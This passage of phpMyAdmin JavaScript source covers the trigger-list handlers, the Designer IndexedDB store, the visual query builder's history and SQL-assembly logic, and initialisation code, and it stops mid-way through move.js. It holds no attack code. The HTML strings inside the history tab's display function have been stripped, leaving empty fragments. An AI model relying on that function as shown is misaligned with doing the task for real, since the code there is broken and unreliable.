var params = Functions.getJsConfirmCommonParam(this, $anchor.getPostData()); $.post($anchor.attr('href'), params, function (data) { returnCount++; if (data.success === true) { /** * @var $table Object containing reference * to the main list of elements */ var $table = $currRow.parent(); // Check how many rows will be left after we remove // the one that the user has requested us to remove if ($table.find('tr').length === 3) { // If there are two rows left, it means that they are // the header of the table and the rows that we are // about to remove, so after the removal there will be // nothing to show in the table, so we hide it. $table.hide('slow', function () { $(this).find('tr.even, tr.odd').remove(); $('.withSelected').remove(); $('#nothing2display').show('slow'); }); } else { $currRow.hide('fast', function () { // we will iterate // through all rows and assign correct classes to them. /** * @var ct Count of processed rows */ var ct = 0; /** * @var rowclass Class to be attached to the row * that is being processed */ var rowclass = ''; $table.find('tr').has('td').each(function () { rowclass = (ct % 2 === 1) ? 'odd' : 'even'; $(this).removeClass().addClass(rowclass); ct++; }); }); $currRow.remove(); } if (returnCount === count) { if (success) { // Get rid of the "Loading" message Functions.ajaxRemoveMessage($msg); $('#rteListForm_checkall').prop({ checked: false, indeterminate: false }); } Navigation.reload(); } } else { Functions.ajaxShowMessage(data.error, false); success = false; if (returnCount === count) { Navigation.reload(); } } }); // end $.post() }); // end drop_anchors.each() }); } }; AJAX.registerOnload('database/triggers.js', function () { /** * Attach Ajax event handlers for the Add/Edit functionality. */ $(document).on('click', 'a.ajax.add_anchor, a.ajax.edit_anchor', function (event) { event.preventDefault(); if ($(this).hasClass('add_anchor')) { $.datepicker.initialized = false; } DatabaseTriggers.editorDialog($(this).hasClass('add_anchor'), $(this)); }); /** * Attach Ajax event handlers for Export */ $(document).on('click', 'a.ajax.export_anchor', function (event) { event.preventDefault(); DatabaseTriggers.exportDialog($(this)); }); $(document).on('click', '#bulkActionExportButton', function (event) { event.preventDefault(); DatabaseTriggers.exportDialog($(this)); }); /** * Attach Ajax event handlers for Drop functionality */ $(document).on('click', 'a.ajax.drop_anchor', function (event) { event.preventDefault(); DatabaseTriggers.dropDialog($(this)); }); $(document).on('click', '#bulkActionDropButton', function (event) { event.preventDefault(); DatabaseTriggers.dropMultipleDialog($(this)); }); }); src/designer/database.js000066600000014356151724472050011261 0ustar00var designerTables = [ { name: 'pdf_pages', key: 'pgNr', autoIncrement: true }, { name: 'table_coords', key: 'id', autoIncrement: true } ]; // eslint-disable-next-line no-unused-vars var DesignerOfflineDB = (function () { var designerDB = {}; /** * @type {IDBDatabase|null} */ var datastore = null; /** * @param {String} table * @return {IDBTransaction} */ designerDB.getTransaction = function (table) { return datastore.transaction([table], 'readwrite'); }; /** * @param {String} table * @return {IDBObjectStore} */ designerDB.getObjectStore = function (table) { var transaction = designerDB.getTransaction(table); var objStore = transaction.objectStore(table); return objStore; }; /** * @param {IDBTransaction} transaction * @param {String} table * @return {IDBObjectStore} */ designerDB.getCursorRequest = function (transaction, table) { var objStore = transaction.objectStore(table); var keyRange = IDBKeyRange.lowerBound(0); var cursorRequest = objStore.openCursor(keyRange); return cursorRequest; }; /** * @param {Function} callback * @return {void} */ designerDB.open = function (callback) { var version = 1; var request = window.indexedDB.open('pma_designer', version); request.onupgradeneeded = function (e) { var db = e.target.result; e.target.transaction.onerror = designerDB.onerror; var t; for (t in designerTables) { if (db.objectStoreNames.contains(designerTables[t].name)) { db.deleteObjectStore(designerTables[t].name); } } for (t in designerTables) { db.createObjectStore(designerTables[t].name, { keyPath: designerTables[t].key, autoIncrement: designerTables[t].autoIncrement }); } }; request.onsuccess = function (e) { datastore = e.target.result; if (typeof callback === 'function') { callback(true); } }; request.onerror = function () { Functions.ajaxShowMessage(Messages.strIndexedDBNotWorking, null, 'error'); }; }; /** * @param {String} table * @param {String} id * @param {Function} callback * @return {void} */ designerDB.loadObject = function (table, id, callback) { if (datastore === null) { Functions.ajaxShowMessage(Messages.strIndexedDBNotWorking, null, 'error'); return; } var objStore = designerDB.getObjectStore(table); var cursorRequest = objStore.get(parseInt(id)); cursorRequest.onsuccess = function (e) { callback(e.target.result); }; cursorRequest.onerror = designerDB.onerror; }; /** * @param {String} table * @param {Function} callback * @return {void} */ designerDB.loadAllObjects = function (table, callback) { if (datastore === null) { Functions.ajaxShowMessage(Messages.strIndexedDBNotWorking, null, 'error'); return; } var transaction = designerDB.getTransaction(table); var cursorRequest = designerDB.getCursorRequest(transaction, table); var results = []; transaction.oncomplete = function () { callback(results); }; cursorRequest.onsuccess = function (e) { var result = e.target.result; if (Boolean(result) === false) { return; } results.push(result.value); result.continue(); }; cursorRequest.onerror = designerDB.onerror; }; /** * @param {String} table * @param {Function} callback * @return {void} */ designerDB.loadFirstObject = function (table, callback) { if (datastore === null) { Functions.ajaxShowMessage(Messages.strIndexedDBNotWorking, null, 'error'); return; } var transaction = designerDB.getTransaction(table); var cursorRequest = designerDB.getCursorRequest(transaction, table); var firstResult = null; transaction.oncomplete = function () { callback(firstResult); }; cursorRequest.onsuccess = function (e) { var result = e.target.result; if (Boolean(result) === false) { return; } firstResult = result.value; }; cursorRequest.onerror = designerDB.onerror; }; /** * @param {String} table * @param {Object} obj * @param {Function} callback * @return {void} */ designerDB.addObject = function (table, obj, callback) { if (datastore === null) { Functions.ajaxShowMessage(Messages.strIndexedDBNotWorking, null, 'error'); return; } var objStore = designerDB.getObjectStore(table); var request = objStore.put(obj); request.onsuccess = function (e) { if (typeof callback === 'function') { callback(e.currentTarget.result); } }; request.onerror = designerDB.onerror; }; /** * @param {String} table * @param {String} id * @param {Function} callback * @return {void} */ designerDB.deleteObject = function (table, id, callback) { if (datastore === null) { Functions.ajaxShowMessage(Messages.strIndexedDBNotWorking, null, 'error'); return; } var objStore = designerDB.getObjectStore(table); var request = objStore.delete(parseInt(id)); request.onsuccess = function () { if (typeof callback === 'function') { callback(true); } }; request.onerror = designerDB.onerror; }; /** * @param {Error} e * @return {void} */ designerDB.onerror = function (e) { // eslint-disable-next-line no-console console.log(e); }; // Export the designerDB object. return designerDB; }()); src/designer/history.js000066600000070533151724472050011215 0ustar00/** * @fileoverview function used in this file builds history tab and generates query. * * @requires jQuery * @requires move.js */ /* global contr */ // js/designer/init.js /* global fromArray:writable */ // js/designer/move.js /* global themeImagePath */ // templates/javascript/variables.twig var DesignerHistory = {}; var historyArray = []; // Global array to store history objects var selectField = []; // Global array to store information for columns which are used in select clause var gIndex; var vqbEditor = null; /** * To display details of objects(where,rename,Having,aggregate,groupby,orderby,having) * * @param {number} index index of historyArray where change is to be made * @return {string} */ DesignerHistory.detail = function (index) { var type = historyArray[index].getType(); var str; if (type === 'Where') { str = 'Where ' + historyArray[index].getColumnName() + historyArray[index].getObj().getRelationOperator() + historyArray[index].getObj().getQuery(); } else if (type === 'Rename') { str = 'Rename ' + historyArray[index].getColumnName() + ' To ' + historyArray[index].getObj().getRenameTo(); } else if (type === 'Aggregate') { str = 'Select ' + historyArray[index].getObj().getOperator() + '( ' + historyArray[index].getColumnName() + ' )'; } else if (type === 'GroupBy') { str = 'GroupBy ' + historyArray[index].getColumnName(); } else if (type === 'OrderBy') { str = 'OrderBy ' + historyArray[index].getColumnName() + ' ' + historyArray[index].getObj().getOrder(); } else if (type === 'Having') { str = 'Having '; if (historyArray[index].getObj().getOperator() !== 'None') { str += historyArray[index].getObj().getOperator() + '( ' + historyArray[index].getColumnName() + ' )'; str += historyArray[index].getObj().getRelationOperator() + historyArray[index].getObj().getQuery(); } else { str = 'Having ' + historyArray[index].getColumnName() + historyArray[index].getObj().getRelationOperator() + historyArray[index].getObj().getQuery(); } } return str; }; /** * Sorts historyArray[] first,using table name as the key and then generates the HTML code for history tab, * clubbing all objects of same tables together * This function is called whenever changes are made in historyArray[] * * * @param {number} init starting index of unsorted array * @param {number} finit last index of unsorted array * @return {string} */ DesignerHistory.display = function (init, finit) { var str; var i; var j; var k; var sto; var temp; // this part sorts the history array based on table name,this is needed for clubbing all object of same name together. for (i = init; i < finit; i++) { sto = historyArray[i]; temp = historyArray[i].getTab();// + '.' + historyArray[i].getObjNo(); for Self JOINS for (j = 0; j < i; j++) { if (temp > (historyArray[j].getTab())) {// + '.' + historyArray[j].getObjNo())) { //for Self JOINS for (k = i; k > j; k--) { historyArray[k] = historyArray[k - 1]; } historyArray[j] = sto; break; } } } // this part generates HTML code for history tab.adds delete,edit,and/or and detail features with objects. str = ''; // string to store Html code for history tab var historyArrayLength = historyArray.length; for (i = 0; i < historyArrayLength; i++) { temp = historyArray[i].getTab(); // + '.' + historyArray[i].getObjNo(); for Self JOIN str += '

        ' + temp + '

        '; str += '
        \n'; while ((historyArray[i].getTab()) === temp) { // + '.' + historyArray[i].getObjNo()) === temp) { str += '
        '; str += ''; } else { str += ''; } str += '' + '' + '' + ''; } else { var detailDesc = $('
        ').text(DesignerHistory.detail(i)).html(); str += '
        ' + '' + '' + ''; } str += ''; i++; if (i >= historyArrayLength) { break; } str += '
        '; if (historyArray[i].getAndOr()) { str += '' + Functions.getImage('b_sbrowse', Messages.strColumnName) + '' + $('
        ').text(historyArray[i].getColumnName()).html() + '
        '; if (historyArray[i].getType() === 'GroupBy' || historyArray[i].getType() === 'OrderBy') { var detailDescGroupBy = $('
        ').text(DesignerHistory.detail(i)).html(); str += '
        ' + Functions.getImage('s_info', DesignerHistory.detail(i)) + '' + historyArray[i].getType() + '' + Functions.getImage('b_drop', Messages.strDelete) + '' + Functions.getImage('s_info', DesignerHistory.detail(i)) + '' + historyArray[i].getType() + '' + Functions.getImage('b_edit', Messages.strEdit) + '' + Functions.getImage('b_drop', Messages.strDelete) + '
        '; } i--; str += '
        '; } return str; }; /** * To change And/Or relation in history tab * * * @param {number} index index of historyArray where change is to be made * @return {void} */ DesignerHistory.andOr = function (index) { if (historyArray[index].getAndOr()) { historyArray[index].setAndOr(0); } else { historyArray[index].setAndOr(1); } var existingDiv = document.getElementById('ab'); existingDiv.innerHTML = DesignerHistory.display(0, 0); $('#ab').accordion('refresh'); }; /** * Deletes entry in historyArray * * @param {number} index of historyArray[] which is to be deleted * @return {void} */ DesignerHistory.historyDelete = function (index) { var fromArrayLength = fromArray.length; for (var k = 0; k < fromArrayLength; k++) { if (fromArray[k] === historyArray[index].getTab()) { fromArray.splice(k, 1); break; } } historyArray.splice(index, 1); var existingDiv = document.getElementById('ab'); existingDiv.innerHTML = DesignerHistory.display(0, 0); $('#ab').accordion('refresh'); }; /** * @param {string} elementId * @return {void} */ DesignerHistory.changeStyle = function (elementId) { var element = document.getElementById(elementId); element.style.left = '530px'; element.style.top = '130px'; element.style.position = 'absolute'; element.style.zIndex = '103'; element.style.visibility = 'visible'; element.style.display = 'block'; }; /** * To show where,rename,aggregate,having forms to edit a object * * @param {number} index index of historyArray where change is to be made * @return {void} */ DesignerHistory.historyEdit = function (index) { gIndex = index; var type = historyArray[index].getType(); if (type === 'Where') { document.getElementById('eQuery').value = historyArray[index].getObj().getQuery(); document.getElementById('erel_opt').value = historyArray[index].getObj().getRelationOperator(); DesignerHistory.changeStyle('query_where'); } else if (type === 'Having') { document.getElementById('hQuery').value = historyArray[index].getObj().getQuery(); document.getElementById('hrel_opt').value = historyArray[index].getObj().getRelationOperator(); document.getElementById('hoperator').value = historyArray[index].getObj().getOperator(); DesignerHistory.changeStyle('query_having'); } else if (type === 'Rename') { document.getElementById('e_rename').value = historyArray[index].getObj().getRenameTo(); DesignerHistory.changeStyle('query_rename_to'); } else if (type === 'Aggregate') { document.getElementById('e_operator').value = historyArray[index].getObj().getOperator(); DesignerHistory.changeStyle('query_Aggregate'); } }; /** * Make changes in historyArray when Edit button is clicked * checks for the type of object and then sets the new value * * @param {string} type of historyArray where change is to be made * @return {void} */ DesignerHistory.edit = function (type) { if (type === 'Rename') { if (document.getElementById('e_rename').value !== '') { historyArray[gIndex].getObj().setRenameTo(document.getElementById('e_rename').value); document.getElementById('e_rename').value = ''; } document.getElementById('query_rename_to').style.visibility = 'hidden'; } else if (type === 'Aggregate') { if (document.getElementById('e_operator').value !== '---') { historyArray[gIndex].getObj().setOperator(document.getElementById('e_operator').value); document.getElementById('e_operator').value = '---'; } document.getElementById('query_Aggregate').style.visibility = 'hidden'; } else if (type === 'Where') { if (document.getElementById('erel_opt').value !== '--' && document.getElementById('eQuery').value !== '') { historyArray[gIndex].getObj().setQuery(document.getElementById('eQuery').value); historyArray[gIndex].getObj().setRelationOperator(document.getElementById('erel_opt').value); } document.getElementById('query_where').style.visibility = 'hidden'; } else if (type === 'Having') { if (document.getElementById('hrel_opt').value !== '--' && document.getElementById('hQuery').value !== '') { historyArray[gIndex].getObj().setQuery(document.getElementById('hQuery').value); historyArray[gIndex].getObj().setRelationOperator(document.getElementById('hrel_opt').value); historyArray[gIndex].getObj().setOperator(document.getElementById('hoperator').value); } document.getElementById('query_having').style.visibility = 'hidden'; } var existingDiv = document.getElementById('ab'); existingDiv.innerHTML = DesignerHistory.display(0, 0); $('#ab').accordion('refresh'); }; /** * history object closure * * @param nColumnName name of the column on which conditions are put * @param nObj object details(where,rename,orderby,groupby,aggregate) * @param nTab table name of the column on which conditions are applied * @param nObjNo object no used for inner join * @param nType type of object * */ DesignerHistory.HistoryObj = function (nColumnName, nObj, nTab, nObjNo, nType) { var andOr; var obj; var tab; var columnName; var objNo; var type; this.setColumnName = function (nColumnName) { columnName = nColumnName; }; this.getColumnName = function () { return columnName; }; this.setAndOr = function (nAndOr) { andOr = nAndOr; }; this.getAndOr = function () { return andOr; }; this.getRelation = function () { return andOr; }; this.setObj = function (nObj) { obj = nObj; }; this.getObj = function () { return obj; }; this.setTab = function (nTab) { tab = nTab; }; this.getTab = function () { return tab; }; this.setObjNo = function (nObjNo) { objNo = nObjNo; }; this.getObjNo = function () { return objNo; }; this.setType = function (nType) { type = nType; }; this.getType = function () { return type; }; this.setObjNo(nObjNo); this.setTab(nTab); this.setAndOr(0); this.setObj(nObj); this.setColumnName(nColumnName); this.setType(nType); }; /** * where object closure, makes an object with all information of where * * @param nRelationOperator type of relation operator to be applied * @param nQuery stores value of value/sub-query * */ DesignerHistory.Where = function (nRelationOperator, nQuery) { var relationOperator; var query; this.setRelationOperator = function (nRelationOperator) { relationOperator = nRelationOperator; }; this.setQuery = function (nQuery) { query = nQuery; }; this.getQuery = function () { return query; }; this.getRelationOperator = function () { return relationOperator; }; this.setQuery(nQuery); this.setRelationOperator(nRelationOperator); }; /** * Orderby object closure * * @param nOrder order, ASC or DESC */ DesignerHistory.OrderBy = function (nOrder) { var order; this.setOrder = function (nOrder) { order = nOrder; }; this.getOrder = function () { return order; }; this.setOrder(nOrder); }; /** * Having object closure, makes an object with all information of where * * @param nRelationOperator type of relation operator to be applied * @param nQuery stores value of value/sub-query * @param nOperator operator */ DesignerHistory.Having = function (nRelationOperator, nQuery, nOperator) { var relationOperator; var query; var operator; this.setOperator = function (nOperator) { operator = nOperator; }; this.setRelationOperator = function (nRelationOperator) { relationOperator = nRelationOperator; }; this.setQuery = function (nQuery) { query = nQuery; }; this.getQuery = function () { return query; }; this.getRelationOperator = function () { return relationOperator; }; this.getOperator = function () { return operator; }; this.setQuery(nQuery); this.setRelationOperator(nRelationOperator); this.setOperator(nOperator); }; /** * rename object closure,makes an object with all information of rename * * @param nRenameTo new name information * */ DesignerHistory.Rename = function (nRenameTo) { var renameTo; this.setRenameTo = function (nRenameTo) { renameTo = nRenameTo; }; this.getRenameTo = function () { return renameTo; }; this.setRenameTo(nRenameTo); }; /** * aggregate object closure * * @param nOperator aggregate operator * */ DesignerHistory.Aggregate = function (nOperator) { var operator; this.setOperator = function (nOperator) { operator = nOperator; }; this.getOperator = function () { return operator; }; this.setOperator(nOperator); }; /** * This function returns unique element from an array * * @param arrayName array from which duplicate elem are to be removed. * @return unique array */ DesignerHistory.unique = function (arrayName) { var newArray = []; uniquetop: for (var i = 0; i < arrayName.length; i++) { var newArrayLength = newArray.length; for (var j = 0; j < newArrayLength; j++) { if (newArray[j] === arrayName[i]) { continue uniquetop; } } newArray[newArrayLength] = arrayName[i]; } return newArray; }; /** * This function takes in array and a value as input and returns 1 if values is present in array * else returns -1 * * @param arrayName array * @param value value which is to be searched in the array */ DesignerHistory.found = function (arrayName, value) { var arrayNameLength = arrayName.length; for (var i = 0; i < arrayNameLength; i++) { if (arrayName[i] === value) { return 1; } } return -1; }; /** * This function concatenates two array * * @param {object} add array elements of which are pushed in * @param {obj[]} arr array in which elements are added * * @return {obj[]} */ DesignerHistory.addArray = function (add, arr) { var addLength = add.length; for (var i = 0; i < addLength; i++) { arr.push(add[i]); } return arr; }; /** * This function removes all elements present in one array from the other. * * @param {object} rem array from which each element is removed from other array. * @param {obj[]} arr array from which elements are removed. * * @return {obj[]} * */ DesignerHistory.removeArray = function (rem, arr) { var remLength = rem.length; for (var i = 0; i < remLength; i++) { var arrLength = arr.length; for (var j = 0; j < arrLength; j++) { if (rem[i] === arr[j]) { arr.splice(j, 1); } } } return arr; }; /** * This function builds the groupby clause from history object * @return {string} */ DesignerHistory.queryGroupBy = function () { var i; var str = ''; var historyArrayLength = historyArray.length; for (i = 0; i < historyArrayLength; i++) { if (historyArray[i].getType() === 'GroupBy') { str += '`' + historyArray[i].getColumnName() + '`, '; } } str = str.substr(0, str.length - 2); return str; }; /** * This function builds the Having clause from the history object. * @return {string} */ DesignerHistory.queryHaving = function () { var i; var and = '('; var historyArrayLength = historyArray.length; for (i = 0; i < historyArrayLength; i++) { if (historyArray[i].getType() === 'Having') { if (historyArray[i].getObj().getOperator() !== 'None') { and += historyArray[i].getObj().getOperator() + '(`' + historyArray[i].getColumnName() + '`) ' + historyArray[i].getObj().getRelationOperator(); and += ' ' + historyArray[i].getObj().getQuery() + ', '; } else { and += '`' + historyArray[i].getColumnName() + '` ' + historyArray[i].getObj().getRelationOperator() + ' ' + historyArray[i].getObj().getQuery() + ', '; } } } if (and === '(') { and = ''; } else { and = and.substr(0, and.length - 2) + ')'; } return and; }; /** * This function builds the orderby clause from the history object. * @return {string} */ DesignerHistory.queryOrderBy = function () { var i; var str = ''; var historyArrayLength = historyArray.length; for (i = 0; i < historyArrayLength; i++) { if (historyArray[i].getType() === 'OrderBy') { str += '`' + historyArray[i].getColumnName() + '` ' + historyArray[i].getObj().getOrder() + ', '; } } str = str.substr(0, str.length - 2); return str; }; /** * This function builds the Where clause from the history object. * @return {string} */ DesignerHistory.queryWhere = function () { var i; var and = '('; var or = '('; var historyArrayLength = historyArray.length; for (i = 0; i < historyArrayLength; i++) { if (historyArray[i].getType() === 'Where') { if (historyArray[i].getAndOr() === 0) { and += '( `' + historyArray[i].getColumnName() + '` ' + historyArray[i].getObj().getRelationOperator() + ' ' + historyArray[i].getObj().getQuery() + ')'; and += ' AND '; } else { or += '( `' + historyArray[i].getColumnName() + '` ' + historyArray[i].getObj().getRelationOperator() + ' ' + historyArray[i].getObj().getQuery() + ')'; or += ' OR '; } } } if (or !== '(') { or = or.substring(0, (or.length - 4)) + ')'; } else { or = ''; } if (and !== '(') { and = and.substring(0, (and.length - 5)) + ')'; } else { and = ''; } if (or !== '') { and = and + ' OR ' + or + ' )'; } return and; }; DesignerHistory.checkAggregate = function (idThis) { var i; var historyArrayLength = historyArray.length; for (i = 0; i < historyArrayLength; i++) { var temp = '`' + historyArray[i].getTab() + '`.`' + historyArray[i].getColumnName() + '`'; if (temp === idThis && historyArray[i].getType() === 'Aggregate') { return historyArray[i].getObj().getOperator() + '(' + idThis + ')'; } } return ''; }; DesignerHistory.checkRename = function (idThis) { var i; var historyArrayLength = historyArray.length; for (i = 0; i < historyArrayLength; i++) { var temp = '`' + historyArray[i].getTab() + '`.`' + historyArray[i].getColumnName() + '`'; if (temp === idThis && historyArray[i].getType() === 'Rename') { return ' AS `' + historyArray[i].getObj().getRenameTo() + '`'; } } return ''; }; /** * This function builds from clause of query * makes automatic joins. * * @return {string} */ DesignerHistory.queryFrom = function () { var i; var tabLeft = []; var tabUsed = []; var tTabLeft = []; var temp; var query = ''; var quer = ''; var parts = []; var tArray = []; tArray = fromArray; var K = 0; var k; var key; var key2; var key3; var parts1; // the constraints that have been used in the LEFT JOIN var constraintsAdded = []; var historyArrayLength = historyArray.length; for (i = 0; i < historyArrayLength; i++) { fromArray.push(historyArray[i].getTab()); } fromArray = DesignerHistory.unique(fromArray); tabLeft = fromArray; temp = tabLeft.shift(); quer = '`' + temp + '`'; tabUsed.push(temp); // if master table (key2) matches with tab used get all keys and check if tab_left matches // after this check if master table (key2) matches with tab left then check if any foreign matches with master . for (i = 0; i < 2; i++) { for (K in contr) { for (key in contr[K]) {// contr name for (key2 in contr[K][key]) {// table name parts = key2.split('.'); if (DesignerHistory.found(tabUsed, parts[1]) > 0) { for (key3 in contr[K][key][key2]) { parts1 = contr[K][key][key2][key3][0].split('.'); if (DesignerHistory.found(tabLeft, parts1[1]) > 0) { if (DesignerHistory.found(constraintsAdded, key) > 0) { query += ' AND ' + '`' + parts[1] + '`.`' + key3 + '` = '; query += '`' + parts1[1] + '`.`' + contr[K][key][key2][key3][1] + '` '; } else { query += '\n' + 'LEFT JOIN '; query += '`' + parts[1] + '` ON '; query += '`' + parts1[1] + '`.`' + contr[K][key][key2][key3][1] + '` = '; query += '`' + parts[1] + '`.`' + key3 + '` '; constraintsAdded.push(key); } tTabLeft.push(parts[1]); } } } } } } K = 0; tTabLeft = DesignerHistory.unique(tTabLeft); tabUsed = DesignerHistory.addArray(tTabLeft, tabUsed); tabLeft = DesignerHistory.removeArray(tTabLeft, tabLeft); tTabLeft = []; for (K in contr) { for (key in contr[K]) { for (key2 in contr[K][key]) {// table name parts = key2.split('.'); if (DesignerHistory.found(tabLeft, parts[1]) > 0) { for (key3 in contr[K][key][key2]) { parts1 = contr[K][key][key2][key3][0].split('.'); if (DesignerHistory.found(tabUsed, parts1[1]) > 0) { if (DesignerHistory.found(constraintsAdded, key) > 0) { query += ' AND ' + '`' + parts[1] + '`.`' + key3 + '` = '; query += '`' + parts1[1] + '`.`' + contr[K][key][key2][key3][1] + '` '; } else { query += '\n' + 'LEFT JOIN '; query += '`' + parts[1] + '` ON '; query += '`' + parts1[1] + '`.`' + contr[K][key][key2][key3][1] + '` = '; query += '`' + parts[1] + '`.`' + key3 + '` '; constraintsAdded.push(key); } tTabLeft.push(parts[1]); } } } } } } tTabLeft = DesignerHistory.unique(tTabLeft); tabUsed = DesignerHistory.addArray(tTabLeft, tabUsed); tabLeft = DesignerHistory.removeArray(tTabLeft, tabLeft); tTabLeft = []; } for (k in tabLeft) { quer += ' , `' + tabLeft[k] + '`'; } query = quer + query; fromArray = tArray; return query; }; /** * This function is the main function for query building. * uses history object details for this. * * @uses DesignerHistory.queryWhere() * @uses DesignerHistory.queryGroupBy() * @uses DesignerHistory.queryHaving() * @uses DesignerHistory.queryOrderBy() */ DesignerHistory.buildQuery = function () { var qSelect = 'SELECT '; var temp; var selectFieldLength = selectField.length; if (selectFieldLength > 0) { for (var i = 0; i < selectFieldLength; i++) { temp = DesignerHistory.checkAggregate(selectField[i]); if (temp !== '') { qSelect += temp; temp = DesignerHistory.checkRename(selectField[i]); qSelect += temp + ', '; } else { temp = DesignerHistory.checkRename(selectField[i]); qSelect += selectField[i] + temp + ', '; } } qSelect = qSelect.substring(0, qSelect.length - 2); } else { qSelect += '* '; } qSelect += '\nFROM ' + DesignerHistory.queryFrom(); var qWhere = DesignerHistory.queryWhere(); if (qWhere !== '') { qSelect += '\nWHERE ' + qWhere; } var qGroupBy = DesignerHistory.queryGroupBy(); if (qGroupBy !== '') { qSelect += '\nGROUP BY ' + qGroupBy; } var qHaving = DesignerHistory.queryHaving(); if (qHaving !== '') { qSelect += '\nHAVING ' + qHaving; } var qOrderBy = DesignerHistory.queryOrderBy(); if (qOrderBy !== '') { qSelect += '\nORDER BY ' + qOrderBy; } $('#buildQuerySubmitButton').on('click', function () { if (vqbEditor) { var $elm = $('#buildQueryModal').find('textarea'); vqbEditor.save(); $elm.val(vqbEditor.getValue()); } $('#vqb_form').trigger('submit'); }); $('#buildQueryModal').modal('show'); $('#buildQueryModalLabel').first().text('SELECT'); $('#buildQueryModal').on('shown.bs.modal', function () { // Attach syntax highlighted editor to query dialog /** * @var $elm jQuery object containing the reference * to the query textarea. */ var $elm = $('#buildQueryModal').find('textarea'); if (! vqbEditor) { vqbEditor = Functions.getSqlEditor($elm); } if (vqbEditor) { vqbEditor.setValue(qSelect); vqbEditor.focus(); } else { $elm.val(qSelect); $elm.trigger('focus'); } }); }; AJAX.registerTeardown('designer/history.js', function () { vqbEditor = null; historyArray = []; selectField = []; $('#ok_edit_rename').off('click'); $('#ok_edit_having').off('click'); $('#ok_edit_Aggr').off('click'); $('#ok_edit_where').off('click'); }); AJAX.registerOnload('designer/history.js', function () { $('#ok_edit_rename').on('click', function () { DesignerHistory.edit('Rename'); }); $('#ok_edit_having').on('click', function () { DesignerHistory.edit('Having'); }); $('#ok_edit_Aggr').on('click', function () { DesignerHistory.edit('Aggregate'); }); $('#ok_edit_where').on('click', function () { DesignerHistory.edit('Where'); }); $('#ab').accordion({ collapsible : true, active : 'none' }); }); src/designer/init.js000066600000004040151724472050010445 0ustar00/** * Initializes the data required to run Designer, then fires it up. */ /* global DesignerOfflineDB */ // js/designer/database.js /* global DesignerHistory */ // js/designer/history.js /* global DesignerMove */ // js/designer/move.js /* global DesignerPage */ // js/designer/page.js /* global designerConfig */ // templates/database/designer/main.twig /* eslint-disable no-unused-vars */ var jTabs; var hTabs; var contr; var displayField; var server; var selectedPage; /* eslint-enable no-unused-vars */ var db; var designerTablesEnabled; AJAX.registerTeardown('designer/init.js', function () { $('.trigger').off('click'); }); AJAX.registerOnload('designer/init.js', function () { $('.trigger').on('click', function () { $('.panel').toggle('fast'); $(this).toggleClass('active'); $('#ab').accordion('refresh'); return false; }); jTabs = designerConfig.scriptTables.j_tabs; hTabs = designerConfig.scriptTables.h_tabs; contr = designerConfig.scriptContr; displayField = designerConfig.scriptDisplayField; server = designerConfig.server; selectedPage = designerConfig.displayPage; db = designerConfig.db; designerTablesEnabled = designerConfig.tablesEnabled; DesignerMove.main(); if (! designerTablesEnabled) { DesignerOfflineDB.open(function (success) { if (success) { DesignerPage.showTablesInLandingPage(db); } }); } $('#query_Aggregate_Button').on('click', function () { $('#query_Aggregate').css('display', 'none'); }); $('#query_having_button').on('click', function () { $('#query_having').css('display', 'none'); }); $('#query_rename_to_button').on('click', function () { $('#query_rename_to').css('display', 'none'); }); $('#build_query_button').on('click', function () { DesignerHistory.buildQuery('SQL Query on Database', 0); }); $('#query_where_button').on('click', function () { $('#query_where').css('display', 'none'); }); }); src/designer/move.js000066600000240764151724472050010467 0ustar00/** * @package PhpMyAdmin-Designer */ /* global DesignerObjects */ // js/designer/objects.js /* global DesignerHistory, historyArray, selectField */ // js/designer/history.js /* global contr, db, designerTablesEnabled, displayField, hTabs, jTabs, selectedPage:writable, server */ // js/designer/init.js /* global DesignerPage */ // js/designer/page.js /* global themeImagePath */ // templates/javascript/variables.twig var DesignerMove = {}; var change = 0; // variable to track any change in designer layout. var showRelationLines = true; var alwaysShowText = false; AJAX.registerTeardown('designer/move.js', function () { $(document).off('fullscreenchange'); $('#selflink').show(); }); AJAX.registerOnload('designer/move.js', function () { var $content = $('#page_content'); var $img = $('#toggleFullscreen').find('img'); var $span = $img.siblings('span'); $content.css({ 'margin-left': '3px' }); $(document).on('fullscreenchange', function () { if (! document.fullscreenElement) { $content.removeClass('content_fullscreen') .css({ 'width': 'auto', 'height': 'auto' }); $('#osn_tab').css({ 'width': 'auto', 'height': 'auto' }); $img.attr('src', $img.data('enter')) .attr('title', $span.data('enter')); $span.text($span.data('enter')); // Saving the fullscreen state in config when // designer exists fullscreen mode via ESC key var valueSent = 'off'; DesignerMove.saveValueInConfig('full_screen', valueSent); } }); $('#selflink').hide(); }); DesignerMove.markSaved = function () { change = 0; $('#saved_state').text(''); }; DesignerMove.markUnsaved = function () { change = 1; $('#saved_state').text('*'); }; var mainDirection = $('html').attr('dir') === 'rtl' ? 'right' : 'left'; // Will be used to multiply the offsetLeft by -1 if the direction is rtl. var directionEffect = mainDirection === 'right' ? -1 : 1; var curClick = null; var smS = 0; var smAdd = 10; var sLeft = 0; var sRight = 0; var onRelation = 0; var onGrid = 0; var onDisplayField = 0; // relation_style: 0 - angular 1 - direct var onAngularDirect = 1; var clickField = 0; var linkRelation = ''; var canvasWidth = 0; var canvasHeight = 0; var osnTabWidth = 0; var osnTabHeight = 0; var heightField = 7; var globX; var globY; var timeoutId; var layerMenuCurClick = 0; var fromArray = []; var menuMoved = false; var gridSize = 10; // ------------------------------------------------------------------------------ var isIe = document.all && !window.opera; if (isIe) { window.onscroll = DesignerMove.generalScroll; document.onselectstart = function () { return false; }; } DesignerMove.mouseDown = function (e) { // eslint-disable-next-line compat/compat globX = isIe ? e.clientX + document.body.scrollLeft : e.pageX; // eslint-disable-next-line compat/compat globY = isIe ? e.clientY + document.body.scrollTop : e.pageY; if (e.target.tagName === 'SPAN') { curClick = e.target.parentNode.parentNode.parentNode.parentNode; } else if (e.target.className === 'tab_zag_2') { curClick = e.target.parentNode.parentNode.parentNode; } else if (e.target.id === 'layer_menu_sizer_btn') { layerMenuCurClick = 1; } else if (e.target.className === 'M_butt') { return false; } if (curClick !== null) { document.getElementById('canvas').style.display = 'none'; curClick.style.zIndex = 2; } }; DesignerMove.mouseMove = function (e) { if (e.preventDefault) { e.preventDefault(); } // eslint-disable-next-line compat/compat var newDx = isIe ? e.clientX + document.body.scrollLeft : e.pageX; // eslint-disable-next-line compat/compat var newDy = isIe ? e.clientY + document.body.scrollTop : e.pageY; var deltaX = globX - newDx; var deltaY = globY - newDy; globX = newDx; globY = newDy; if (curClick !== null) { DesignerMove.markUnsaved(); var $curClick = $(curClick); var curX = parseFloat($curClick.attr('data-' + mainDirection) || $curClick.css(mainDirection)); var curY = 